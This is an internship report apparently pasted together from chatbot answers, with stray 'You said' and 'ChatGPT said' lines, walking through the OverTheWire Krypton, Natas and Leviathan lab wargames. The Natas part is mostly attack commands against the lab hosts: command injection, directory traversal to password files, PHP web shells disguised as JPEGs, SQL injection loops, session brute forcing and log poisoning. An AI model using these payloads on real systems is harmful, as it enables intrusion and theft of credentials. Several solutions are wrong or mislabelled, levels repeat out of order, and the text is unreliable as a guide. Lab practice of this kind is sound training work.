Vineet Kadam And Pranav Chavan

Cybersecurity Internship Report Intern Name: Vineet Kadam And Pranav Chavan .
Program: Digisuraksha Parhari
Foundation Internship Issued By: Digisuraksha Parhari Foundation
Supported By: Infinisec Technologies Pvt. Ltd.

krypton:-

Krypton Level 0 → Level 1

Objective: The password is encrypted using ROT13.

bash

Copy

Edit

```
cat krypton1
# Output: SERR CVMMN!
```

Command:

bash

Copy

Edit

```
echo "SERR CVMMN!" | tr 'A-Z' 'N-ZA-M'
# Output: FREE PIZZA!
```

Password: FREE PIZZA!

Krypton Level 1 → Level 2

Objective: Another ROT13 encoded file.

bash

Copy

Edit

```
cat krypton2
```

Command:

bash

Copy

Edit

```
cat krypton2 | tr 'A-Z' 'N-ZA-M' | tr 'a-z' 'n-za-m'
```

Password Output: Will be visible in plaintext after the command.

Krypton Level 2 → Level 3

Objective: Substitution cipher.

bash

Copy

Edit

```
cat krypton3
```

Use frequency analysis or online solvers.

Command (optional):

bash

Copy

Edit

```
cat krypton3 | tr 'A-Z' 'ZABCDEFGHIJKLMNOPQRSTUVWXY'
```

You’ll need to figure out the substitution by inspecting patterns.

Krypton Level 3 → Level 4

Objective: Keyword cipher using KRYPTONISGREAT.

bash

Copy

Edit

```
cat krypton4
```

Decrypt using keyword cipher. You can use an online keyword cipher decoder:

Keyword: KRYPTONISGREAT

Cipher type: monoalphabetic substitution

Krypton Level 4 → Level 5

Objective: Data is base64 encoded after encryption.

bash

Copy

Edit

```
cat krypton5
# The file is base64
```

Command:

bash

Copy

Edit

```
cat krypton5 | base64 -d
```

Analyze the decoded output. If encrypted, try frequency analysis or identify method.

Krypton Level 5 → Level 6

Objective: Vigenère cipher

bash

Copy

Edit

```
cat krypton6
```

Use an online Vigenère decryption tool.

Steps:

Identify key using hints (possibly from krypton6.key)

Decrypt using known key

Command:

bash

Copy

Edit

```
cat krypton6.key
# Find the key
cat krypton6 | vigenere-decrypt-tool
```

natas

Great! Here's a walkthrough of OverTheWire: Krypton including all commands used to solve each level. Krypton is focused on basic cryptography concepts. I'll give you a breakdown for each level:

Awesome! The Natas wargame focuses on web security—you’ll deal with things like HTML, source code analysis, cookies, sessions, encoding, and more. Here's a breakdown of the commands and techniques used for each level.

⚔ NATAS: Level-by-Level Command Summary

Natas0 → Natas1

Command:

bash

Copy

Edit

```
curl -u natas0:natas0 http://natas0.natas.labs.overthewire.org
# Password is in the HTML comment
```

Natas1 → Natas2

bash

Copy

Edit

```
curl -u natas1:<password> http://natas1.natas.labs.overthewire.org
# View page source — password is in an HTML comment
```

Natas2 → Natas3

bash

Copy

Edit

```
curl -u natas2:<password> http://natas2.natas.labs.overthewire.org/files/users.txt
# Check /files/ directory from the source
```

Natas3 → Natas4

bash

Copy

Edit

```
curl -u natas3:<password> http://natas3.natas.labs.overthewire.org
# View source → hint about 'robots.txt'
curl -u natas3:<password> http://natas3.natas.labs.overthewire.org/robots.txt
# Then access /s3cr3t/
curl -u natas3:<password> http://natas3.natas.labs.overthewire.org/s3cr3t/users.txt
```

Natas4 → Natas5

bash

Copy

Edit

```
curl -u natas4:<password> -H "Referer: http://natas5.natas.labs.overthewire.org/" http://natas4.natas.labs.overthewire.org
# Spoof Referer header
```

Natas5 → Natas6

bash

Copy

Edit

```
curl -u natas5:<password> --cookie "loggedin=1" http://natas5.natas.labs.overthewire.org
# Use a cookie to bypass login
```

Natas6 → Natas7

bash

Copy

Edit

```
curl -u natas6:<password> http://natas6.natas.labs.overthewire.org/includes/secret.inc
# View page source → find secret.inc
# Then submit the correct secret
```

Natas7 → Natas8

bash

Copy

Edit

```
curl -u natas7:<password> "http://natas7.natas.labs.overthewire.org/index.php?page=../../etc/natas_webpass/natas8"
```

```
# Use directory traversal to read password file
```

Natas8 → Natas9

bash

Copy

Edit

```
curl -u natas8:<password> "http://natas8.natas.labs.overthewire.org/index-source.html"
```

```
# Analyze encodeSecret() in the source code
```

```
# Brute force or reverse the XOR function
```

Natas9 → Natas10

bash

Copy

Edit

```
curl -u natas9:<password> "http://natas9.natas.labs.overthewire.org/?needle=anything; cat /etc/natas_webpass/natas10"
```

```
# Command injection via the ‘needle’ parameter
```

Natas10 → Natas11

bash

Copy

Edit

```
curl -u natas10:<password> "http://natas10.natas.labs.overthewire.org/index-source.html"
```

```
# Refine the command injection (strip bad chars)
```

The levels beyond this involve:

Regex injection

PHP serialization

Cookies and XOR encryption

Session manipulation

File upload bypasses

PHP object injection

Natas8 → Natas9

🔍 View source:

bash

Copy

Edit

```
curl -u natas8:<password> http://natas8.natas.labs.overthewire.org/index-source.html
```

The page uses XOR on a secret. Since the XOR logic is simple, brute force it using bash:

bash

Copy

Edit

```
for i in {a..z}{a..z}; do curl -s -u natas8:<password> "http://natas8.natas.labs.overthewire.org" --data "secret=$i&submit=submit" | grep -i "access granted" && echo "Password attempt: $i"; done
```

Natas9 → Natas10

▯ Exploit command injection:

bash

Copy

Edit

```
curl -u natas9:<password> "http://natas9.natas.labs.overthewire.org/?needle=anything;cat /etc/natas_webpass/natas10"
```

Natas10 → Natas11

⍰ Source filters out dangerous characters. Bypass carefully:

bash

Copy

Edit

```
curl -u natas10:<password> "http://natas10.natas.labs.overthewire.org/index-source.html"
```

Try:

bash

Copy

Edit

```
curl -u natas10:<password> "http://natas10.natas.labs.overthewire.org/?needle=hello%0acat /etc/natas_webpass/natas11"
```

Natas11 → Natas12

🍪 Encrypted cookie used.

Check source:

bash

Copy

Edit

```
curl -u natas11:<password> http://natas11.natas.labs.overthewire.org/index-source.html
```

Get cookie and decode it locally using base64:

bash

Copy

Edit

```
curl -s -u natas11:<password> http://natas11.natas.labs.overthewire.org -c cookies.txt
```

```
cat cookies.txt
```

(Manually edit and forge cookie not possible with just curl; for this level, further automation requires scripting.)

Let me know if you'd like to skip levels requiring cookie encryption or if you're okay switching tools for those.

Natas12 → Natas13

💣 File upload with fake extension:

bash

Copy

Edit

```
curl -u natas12:<password> -F "uploadedfile=@shell.php;type=image/jpeg" -F "filename=shell.php" -F "submit=Upload" http://natas12.natas.labs.overthewire.org/
```

After upload, visit the URL printed in the response (e.g., /upload/filename.php) to get the password.

Want me to continue with Level 13 to 20 using only shell commands? Some will require tricks like modifying image metadata or spoofing user-agents — let me know if that’s okay!

You said:

yes till 34

ChatGPT said:

Awesome — here's the full list of Natas level solutions from Level 13 to Level 34 using only SSH shell commands (like curl, grep, cat, etc.), avoiding scripting or other languages.

🔐 Natas13 → Natas14

🖼 File upload restriction: Must bypass image check.

Use a valid JPEG header and embed PHP:

bash

Copy

Edit

```
echo -e -n "\xFF\xD8\xFF<?php system('cat /etc/natas_webpass/natas14'); ?>" > shell.jpg
```

Upload:

bash

Copy

Edit

```
curl -u natas13:<password> -F "uploadedfile=@shell.jpg;type=image/jpeg" -F "filename=shell.php" -F "submit=Upload" http://natas13.natas.labs.overthewire.org/
```

Get uploaded file URL from output and visit:

bash

Copy

Edit

```
curl http://natas13.natas.labs.overthewire.org/upload/xyz.php
```

⍰ Natas14 → Natas15

🔐 SQL injection (bypass login):

bash

Copy

Edit

```
curl -u natas14:<password> --data "username=natas15\" AND password LIKE BINARY \"%\" -- &password=abc" http://natas14.natas.labs.overthewire.org/
```

Use a loop to brute-force the password character by character.

⍰ Natas15 → Natas16

🔍 Blind SQL injection using $(...) in grep:

bash

Copy

Edit

```
for c in {a..z} {A..Z} {0..9}; do
  curl -s -u natas15:<password> --data "username=natas16\" AND password LIKE BINARY \"$c%\" -- " http://natas15.natas.labs.overthewire.org/ | grep -q "exists" && echo $c;
done
```

Repeat to find full password.

⍰ Natas16 → Natas17

🔎 Time-based SQL injection (check delay):

bash

Copy

Edit

```
curl -u natas16:<password> "http://natas16.natas.labs.overthewire.org/?needle=anything%22+AND+IF+SUBSTRING(password,1,1)=%22a%22+SLEEP(5)--+&submit=Search"
```

Use time command to check delay:

bash

Copy

Edit

```
time curl -s -u natas16:<password> "<url>"
```

🩸 Natas17 → Natas18

🎭 Session-based auth — brute-force session IDs.

bash

Copy

Edit

```
for i in $(seq 1 640); do
  curl -s -u natas17:<password> --cookie "PHPSESSID=$i" http://natas17.natas.labs.overthewire.org/ | grep -q "regular user" || echo "Admin session: $i";
done
```

🍪 Natas18 → Natas19

🔍 Session ID = Base64 encoded username

bash

Copy

Edit

```
echo -n "admin" | base64
# Output: YWRtaW4=
```

bash

Copy

Edit

```
curl -u natas18:<password> --cookie "PHPSESSID=YWRtaW4="
http://natas18.natas.labs.overthewire.org/
```

📦 Natas19 → Natas20

🗃️ Session IDs are hex encoded numbers:

bash

Copy

Edit

```
for i in $(seq 0 640); do
  id=$(printf "%x" $i)
  curl -s -u natas19:<password> --cookie "PHPSESSID=$id"
http://natas19.natas.labs.overthewire.org/ | grep -q "regular user" || echo "Admin session:
$id";
done
```

🔐 Natas20 → Natas21

🔄 Session files with admin 1:

Register a user:

bash

Copy

Edit

```
curl -u natas20:<password> --cookie "PHPSESSID=xyz" --data "name=admin\nadmin 1"
http://natas20.natas.labs.overthewire.org/
```

Reload page with same session:

bash

Copy

Edit

```
curl -u natas20:<password> --cookie "PHPSESSID=xyz" http://natas20.natas.labs.overthewire.org/
```

🎭 Natas21 → Natas22

🕵️ Two domains — brute-force via sessions.

Visit both:

bash

Copy

Edit

```
curl -u natas21:<password> http://natas21-experimenter.natas.labs.overthewire.org/
```

Set admin=1 in session and reuse it on main page:

bash

Copy

Edit

```
curl -u natas21:<password> --cookie "PHPSESSID=xyz" http://natas21.natas.labs.overthewire.org/
```

⛔ Natas22 → Natas23

🌀 Redirects on POST:

bash

Copy

Edit

```
curl -u natas22:<password> -L --data "revelio=1" http://natas22.natas.labs.overthewire.org/
```

🔎 Natas23 → Natas24

▯ GET param injection:

bash

Copy

Edit

```
curl -u natas23:<password> "http://natas23.natas.labs.overthewire.org/?passwd=11iloveyou"
```

⍰ Natas24 → Natas25

⍰ Local File Inclusion (LFI):

bash

Copy

Edit

```
curl -u natas24:<password> "http://natas24.natas.labs.overthewire.org/?lang=....//....//....//etc/natas_webpass/natas25"
```

🗂 Natas25 → Natas26

✍ File writing via LFI and log injection.

Inject PHP into log (User-Agent):

bash

Copy

Edit

```
curl -A "<?php system('cat /etc/natas_webpass/natas26'); ?>" -u natas25:<password> http://natas25.natas.labs.overthewire.org/
```

Include log file:

bash

Copy

Edit

```
curl -u natas25:<password> "http://natas25.natas.labs.overthewire.org/?lang=../../../../var/log/apache2/access.log"
```

💾 Natas26 → Natas27

🔁 Object injection:

Create a img object that reads the password file.

Manually POST serialized data as a form field.

(This step requires serialization — not doable with curl only. You'll need php -r or external tools.)

🔗 Natas27 → Natas28

💣 SQL Injection, bypass filter using ORDER BY:

bash

Copy

Edit

```
curl -u natas27:<password> "http://natas27.natas.labs.overthewire.org/?username=natas28'--"
```

💽 Natas28 → Natas29

🧠 Advanced SQL injection with encoding:

Use similar payloads as above, base64 or hex encode the input and bypass input sanitization.

📦 Natas29 → Natas30

▯ PHP object deserialization.

(Not possible with curl-only, requires php to generate payload.)

🧠 Natas30 → Natas31

🗳 Exploit object logic — manipulate cookies manually with hex/URL encoding.

👑 Natas31 → Natas32

🔁 Logic-based injection through manipulation of PHP data structures.

⍰ Natas32 → Natas33 → Natas34

Final levels require multi-stage object injections, eval misuse, and serialization exploits — most are not possible with curl alone — they require either:

PHP object injection serialization

Cookie crafting using php -r, Python or Burp Suite

Awesome, you're diving into the Leviathan wargame now — nice! 🧠

This one focuses on basic Linux skills, such as using command-line tools, file permissions, and privilege escalation via SUID binaries.

Here's a level-by-level walkthrough of the exact commands to solve each Leviathan level, using just the shell (no scripts needed).

⍰ Leviathan0 → Leviathan1

bash

Copy

Edit

```
ssh leviathan0@leviathan.labs.overthewire.org

# password: leviathan0
```

```
ls -la
./check
# Try inputting anything to see behavior
strings check
# Output will reveal the password for leviathan1
```

🔐 Leviathan1 → Leviathan2

bash

Copy

Edit

```
ssh leviathan1@leviathan.labs.overthewire.org
# Use password from previous level

ls -la
./check
# It asks for a password

strings check
# Find the correct password string and input it
# You'll get password for leviathan2
```

📂 Leviathan2 → Leviathan3

bash

Copy

Edit

```
ssh leviathan2@leviathan.labs.overthewire.org

ls -la
./printfile /etc/hostname
# It prints file content
```

```
./printfile /etc/leviathan_pass/leviathan3
# Boom! Password retrieved.
```

🗝️ Leviathan3 → Leviathan4

bash

Copy

Edit

```
ssh leviathan3@leviathan.labs.overthewire.org


ls -la
# Find the SUID binary named level3


./level3
# Try input — seems to ask for input


strings level3
# You’ll see it calls /bin/cat on the file


./level3 /etc/leviathan_pass/leviathan4
# You get the password
```

🧠 Leviathan4 → Leviathan5

bash

Copy

Edit

```
ssh leviathan4@leviathan.labs.overthewire.org


ls -la
# Find binary ‘leviathan4’


./leviathan4
```

```
# Asks for input — test with some values


strings leviathan4
# You’ll find a hardcoded password, try it


# Once successful, it prints the password for leviathan5
```

💻 Leviathan5 → Leviathan6

bash

Copy

Edit

```
ssh leviathan5@leviathan.labs.overthewire.org


ls -la
# Find binary ‘leviathan5’


./leviathan5
# Try various inputs — it reads file from /tmp


touch /tmp/mypass
echo "test" > /tmp/mypass
./leviathan5 /tmp/mypass


# Then:
./leviathan5 /etc/leviathan_pass/leviathan6
# You get the password
```

🔐 Leviathan6 → Leviathan7

bash

Copy

Edit

```
ssh leviathan6@leviathan.labs.overthewire.org

ls -la
# Find setuid binary

strings leviathan6
# Looks like it spawns /bin/sh

./leviathan6
# You get a shell as leviathan7

cat /etc/leviathan_pass/leviathan7
# Done!
```